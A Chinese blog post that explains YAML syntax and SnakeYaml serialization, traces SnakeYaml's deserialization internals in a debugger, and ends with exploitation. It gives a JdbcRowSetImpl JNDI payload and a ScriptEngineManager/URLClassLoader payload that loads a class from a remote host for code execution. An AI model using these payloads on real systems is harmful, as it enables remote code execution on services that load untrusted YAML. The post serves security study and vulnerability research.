SnakeYaml反序列化

SnakeYaml反序列化

Yaml规范

yaml对象

对象键值对使用冒号结构表示 key: value,冒号后面要加一个空格。

也可以使用 key:{key1: value1, key2: value2, ...}

还可以使用缩进表示层级关系:

key: 
    child-key: value
    child-key2: value2

yaml数组

以 - 开头的行表示构成一个数组:

- A
- B
- C

一个相对复杂的例子:

companies:
    -
        id: 1
        name: company1
        price: 200W
    -
        id: 2
        name: company2
        price: 500W

上面的例子中, companies是一个数组, 它有两个元素, 每个元素又有三个属性

数组也可以使用流式(flow)的方式表示:

companies: [{id: 1,name: company1,price: 200W},{id: 2,name: company2,price: 500W}]

这样看起来更直观

复合结构

数组和对象可以构成复合结构,例:

languages:
  - Ruby
  - Perl
  - Python 
websites:
  YAML: yaml.org 
  Ruby: ruby-lang.org 
  Python: python.org 
  Perl: use.perl.org

纯量

纯量是最基本的,不可再分的值,包括:

  • 字符串
  • 布尔值
  • 整数
  • 浮点数
  • Null
  • 时间
  • 日期
    例子:
boolean: 
    - TRUE  #true,True都可以
    - FALSE  #false,False都可以
float:
    - 3.14
    - 6.8523015e+5  #可以使用科学计数法
int:
    - 123
    - 0b1010_0111_0100_1010_1110    #二进制表示
null:
    nodeName: 'node'
    parent: ~  #使用~表示null
string:
    - 哈哈
    - 'Hello world'  #可以使用双引号或者单引号包裹特殊字符
    - newline
      newline2    #字符串可以拆成多行,每一行会被转化成一个空格
date:
    - 2018-02-17    #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime: 
    -  2018-02-17T15:02:31+08:00    #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区

引用

& 锚点和 * 别名,可以用来引用:

defaults: &defaults
  adapter:  postgres
  host:     localhost

development:
  database: myapp_development
  <<: *defaults

test:
  database: myapp_test
  <<: *defaults

& 用来建立锚点(defaults),<< 表示合并到当前数据,* 用来引用锚点。

上面的例子相当于

defaults:
  adapter:  postgres
  host:     localhost

development:
  database: myapp_development
  adapter:  postgres
  host:     localhost

test:
  database: myapp_test
  adapter:  postgres
  host:     localhost

参考链接:

https://www.runoob.com/w3cnote/yaml-intro.html

SnakeYaml库使用

  • Yaml.load():将yaml数据反序列化成一个Java对象
  • Yaml.dump():将Java对象序列化成yaml

导入依赖

<dependency>
        <groupId>org.yaml</groupId>
        <artifactId>snakeyaml</artifactId>
        <version>1.27</version>
</dependency>

被序列化的类
Person.java

package org.n4c1.unserial;  
  
public class Person {  
    private String username;  
    private int age;  
  
    public Person() {}  
    public Person(String username, int age) {  
        this.username = username;  
        this.age = age;  
    }  
  
    public int getAge() {  
        System.out.println("getAge方法调用");  
        return age;  
    }  
  
    public String getUsername() {  
        System.out.println("getUsername方法调用");  
        return username;  
    }  
  
    public void setAge(int age) {  
        System.out.println("setAge方法调用");  
        this.age = age;  
    }  
  
    public void setUsername(String username) {  
        System.out.println("setUsername方法调用");  
        this.username = username;  
    }  
}

demo 测试序列化

package org.n4c1.unserial;  
  
import org.yaml.snakeyaml.Yaml;  
  
public class testYaml {  
    public static void main(String[] args) {  
        Yaml yaml = new Yaml();  
        Person person = new Person("n4c1", 20);  
        String str = yaml.dump(person);  
        System.out.println(str);  
    }  
}

输出结果

getAge方法调用
getUsername方法调用
!!org.n4c1.unserial.Person {age: 20, username: n4c1}

demo 测试反序列化

package org.n4c1.unserial;  
  
import org.yaml.snakeyaml.Yaml;  
  
public class testYaml {  
    public static void main(String[] args) {  
        Yaml yaml = new Yaml();  
        Person person = new Person("n4c1", 20);  
        String str = yaml.dump(person);  
        System.out.println(str);  
  
        String yamlStr = "!!org.n4c1.unserial.Person {age: 20, username: n4c1}";  
        Person person2 = (Person) yaml.load(yamlStr);  
        System.out.println(person2.getUsername());  
    }  
}

输出

getAge方法调用
getUsername方法调用
!!org.n4c1.unserial.Person {age: 20, username: n4c1}

setAge方法调用
setUsername方法调用
getUsername方法调用
n4c1

调试分析

snakeYaml的解析可以说是以节点为基础
假如有以下yaml文档

person:
  name: "张三"
  age: 30
  hobbies:
    - 读书
    - 健身
    - 编程

词法分析器会逐个token解析出各个节点, 拆分出来各个节点对应:

  • 整个文档的根节点

    • 节点类型: 映射 (Mapping)

    • 代表: 整个文档的顶层结构。

    • 说明: 这个节点包含一个键值对,键是 person,值是它下面的整个结构。

  • name 节点

    • 节点类型: 标量 (Scalar)

    • 代表: 一个单一的值。

    • 说明: 这是一个键值对中的 ,其值为 "张三"。它是一个字符串。

  • age 节点

    • 节点类型: 标量 (Scalar)

    • 代表: 一个单一的值。

    • 说明: 它的值为 30,一个整数。

  • hobbies 节点

    • 节点类型: 序列 (Sequence)

    • 代表: 一个有序的列表。

    • 说明: 它的值是下面的三个项目,它包含了三个子节点。

  • hobbies 下的子节点

    • 节点类型: 标量 (Scalar)

    • 代表: 序列中的每一个项。

    • 说明: 这三个节点分别是 "读书""健身""编程",它们都是独立的字符串标量。

当反序列化我们的字符串时

String yamlStr = "!!org.n4c1.unserial.Person {age: 20, username: n4c1}";

根节点就是org.n4c1.unserial.Person它的值就是花括号中代表的内容, 其中又有age节点和username节点

再load方法打上断点分析

image.png
跟进到loadFromReader方法

它会实例化了一个composer, 并放在constructor中, 通过constructor来构建对象

Composer 是 SnakeYAML 的核心组件之一,它的职责是将 YAML 事件流(由 Parser 生成)合成为一个单一的、完整的 YAML 节点图(node graph)。

Construct会根据这些节点的类型和内容,把它们组装成一个你想要的 Java 对象。比如,它会把一个 映射节点 变成一个 Java Map 对象,或者一个自定义的类对象

image.png

在getSingleData方法中可以看见首先由composer获取了一个MappingNode, 描述的是该yaml文档的整体结构(node graph)
image.png

constructDocument根据文档结构, 还原对象
image.png

这里constructedObjects应该是类似缓存, 先从这里获取, 如果没有则创建
image.png
跟进constructObjectNoCheck
image.png

获取构造器
image.png

这里MappingNode的tag其实是tag:yaml.org,2002:org.n4c1.unserial.Person, 默认yaml是没有这个构造器的, 直接返回了一个 {Constructor$ConstructYamlObject@1306} 构造器, 之后用这个构造器取还原类

这里会进入ConstructYamlObject这个构造器的consructor方法
image.png
跟进
image.png

getClassForNode方法会反射获取我们节点的class
image.png

调用的是这个方法, 传入类名, 返回类的class, 然后把class存在node的type属性
image.png

之后回去看construct方法
image.png
有一步Constructor.this.newInstance(mnode), 这个newInstance方法是这个snakeYaml类自己实现的, 里面具体逻辑主要就是用刚刚反射得到的class,反射获取构造器, 实例出对象

之后这里的constructJavaBean2ndStep方法就是给对象的属性进行反序列化然后赋值,

image.png

首先flattenMapping对对象进行展平, 主要包括了处理重复的键处理合并键(<<
image.png

先看processDuplicateKeys方法
这个实际上是实例出键, 利用tuple去重, 可以看见调用了constructObject来构建对象
image.png
之后调用了对象的hashCode方法,

这里就出现了一个攻击面, hashCode方法可以触发到cc链等一些链子

后面的逻辑大概还是和去重有关, 不用管
image.png
flattenMapping结束后回到constructJavaBean2ndStep方法

protected Object constructJavaBean2ndStep(MappingNode node, Object object) {  
    flattenMapping(node);  
    Class<? extends Object> beanType = node.getType();  
    List<NodeTuple> nodeValue = node.getValue();  
    for (NodeTuple tuple : nodeValue) {  
        ScalarNode keyNode;  
        if (tuple.getKeyNode() instanceof ScalarNode) {  
            // key must be scalar  
            keyNode = (ScalarNode) tuple.getKeyNode();  
        } else {  
            throw new YAMLException(  
                    "Keys must be scalars but found: " + tuple.getKeyNode());  
        }  
        Node valueNode = tuple.getValueNode();  
        // keys can only be Strings  
        keyNode.setType(String.class);  
        String key = (String) constructObject(keyNode);  
        try {  
            TypeDescription memberDescription = typeDefinitions.get(beanType);  
            Property property = memberDescription == null ? getProperty(beanType, key)  
                    : memberDescription.getProperty(key);  
  
            if (!property.isWritable()) {  
                throw new YAMLException("No writable property '" + key + "' on class: "  
                        + beanType.getName());  
            }  
  
            valueNode.setType(property.getType());  
            final boolean typeDetected = (memberDescription != null)  
                    ? memberDescription.setupPropertyType(key, valueNode)  
                    : false;  
            if (!typeDetected && valueNode.getNodeId() != NodeId.scalar) {  
                // only if there is no explicit TypeDescription  
                Class<?>[] arguments = property.getActualTypeArguments();  
                if (arguments != null && arguments.length > 0) {  
                    // type safe (generic) collection may contain the  
                    // proper class                    
                    if (valueNode.getNodeId() == NodeId.sequence) {  
                        Class<?> t = arguments[0];  
                        SequenceNode snode = (SequenceNode) valueNode;  
                        snode.setListType(t);  
                    } else if (Set.class.isAssignableFrom(valueNode.getType())) {  
                        Class<?> t = arguments[0];  
                        MappingNode mnode = (MappingNode) valueNode;  
                        mnode.setOnlyKeyType(t);  
                        mnode.setUseClassConstructor(true);  
                    } else if (Map.class.isAssignableFrom(valueNode.getType())) {  
                        Class<?> keyType = arguments[0];  
                        Class<?> valueType = arguments[1];  
                        MappingNode mnode = (MappingNode) valueNode;  
                        mnode.setTypes(keyType, valueType);  
                        mnode.setUseClassConstructor(true);  
                    }  
                }  
            }  
  
            Object value = (memberDescription != null)  
                    ? newInstance(memberDescription, key, valueNode)  
                    : constructObject(valueNode);  
            // Correct when the property expects float but double was  
            // constructed            
            if (property.getType() == Float.TYPE || property.getType() == Float.class) {  
                if (value instanceof Double) {  
                    value = ((Double) value).floatValue();  
                }  
            }  
            // Correct when the property a String but the value is binary  
            if (property.getType() == String.class && Tag.BINARY.equals(valueNode.getTag())  
                    && value instanceof byte[]) {  
                value = new String((byte[]) value);  
            }  
  
            if (memberDescription == null  
                    || !memberDescription.setProperty(object, key, value)) {  
                property.set(object, value);  
            }  
        } catch (DuplicateKeyException e) {  
            throw e;  
        } catch (Exception e) {  
            throw new ConstructorException(  
                    "Cannot create property=" + key + " for JavaBean=" + object,  
                    node.getStartMark(), e.getMessage(), valueNode.getStartMark(), e);  
        }  
    }  
    return object;  
}

image.png

可以看见又使用constructObject对键进行了构造, 之后获取JavaBean的property, 把value构造出来放进去, 依然是使用constructObject方法
最后将value set进去
image.png

两个问题

  1. property如何被获取的
  2. property.set内部如何给属性赋值的

这个property是org.yaml.snakeyaml.introspector.MethodProperty类型

set方法
image.png
发现内部包装的是一个PropertyDescriptor

跟进getWriteMethod方法,

image.png

this.writeMethodRef已经存在这个set方法

搜索this.writeMethodRef.set, 发现有setWriteMethod, 打上断点
image.png

重新运行, 强制运行到此处, 可以看到调用栈是这样的

setWriteMethod:321, PropertyDescriptor (java.beans)
<init>:161, PropertyDescriptor (java.beans)
getTargetPropertyInfo:522, Introspector (java.beans)
getBeanInfo:428, Introspector (java.beans)
getBeanInfo:173, Introspector (java.beans)
getPropertiesMap:83, PropertyUtils (org.yaml.snakeyaml.introspector)
getProperty:152, PropertyUtils (org.yaml.snakeyaml.introspector)
getProperty:148, PropertyUtils (org.yaml.snakeyaml.introspector)
getProperty:309, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
constructJavaBean2ndStep:230, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:171, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)
main:13, testYaml (org.n4c1.unserial)

可以看见是getProperty的时候就set了
image.png

漏洞利用

JdbcRowSetImpl

JdbcRowSetImpl打jndi, 老把戏了, 就是调用setter
poc:

String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:1389/pvscac, autoCommit: true}";

image.png
具体流程有了之前的调试也很清楚了, 不必多说

ScriptEngineManager gadget

yaml反序列化时可以通过!!+全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造ScriptEngineManagerpayload并利用SPI机制通过URLClassLoader或者其他payload如JNDI方式远程加载实例化恶意类从而实现任意代码执行。

[[SPI机制]]
Java 原生 SPI:

Java 从 6 版本开始提供了原生的 SPI 机制,它的实现方式相对简单和直接。

工作流程

  1. 定义服务接口:首先,你需要定义一个公共的服务接口(如 com.example.Logger)。

  2. 提供服务实现:服务提供方创建该接口的具体实现类(如 com.example.FileLogger)。

  3. 创建配置文件:在服务实现的 JAR 包的 META-INF/services/ 目录下,创建一个以接口全限定名为名的文件。

    • 文件名:com.example.Logger

    • 文件内容:com.example.FileLogger(每行一个实现类名)

  4. 应用程序加载:应用程序在运行时,通过 java.util.ServiceLoader 来加载服务。ServiceLoader 会扫描 META-INF/services/ 目录,找到对应的文件,然后通过反射加载文件里指定的实现类。

poc

String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://f80226cf33.ipv6.1433.eu.org\"]]]]\n";

为什么使用ScriptEngineManager?
ScriptEngineManager这个类原本是用来在 Java 应用程序中发现实例化管理脚本引擎(Script Engine)的, 类似用于管理不同jdbc实现的java.sql.DriverManager类, 他们都是SPI机制中的一部分, 但在ScriptEngineManager这个类中, 直接加载构造器参数传来的类导致了这一利用产生

调试分析

我们找到这个类, 断点打在构造方法

image.png
可以看见注释写的很清楚, 这个构造器会使用参数指定的类加载器来加载ScriptEngineFactory接口的实现, 知道这些其实就可以利用了, 后面的调用栈这里就不再记录了
对于恶意的实现, 参考项目
https://github.com/artsploit/yaml-payload
可以直接利用

参考

SnakeYaml反序列化漏洞研究
SnakeYaml反序列化及不出网利用
SnakeYaml 不出网 RCE 新链(JDK原生链)挖掘

posted @ 2025-08-09 02:07  n4c1  阅读(56)  评论(0)    收藏  举报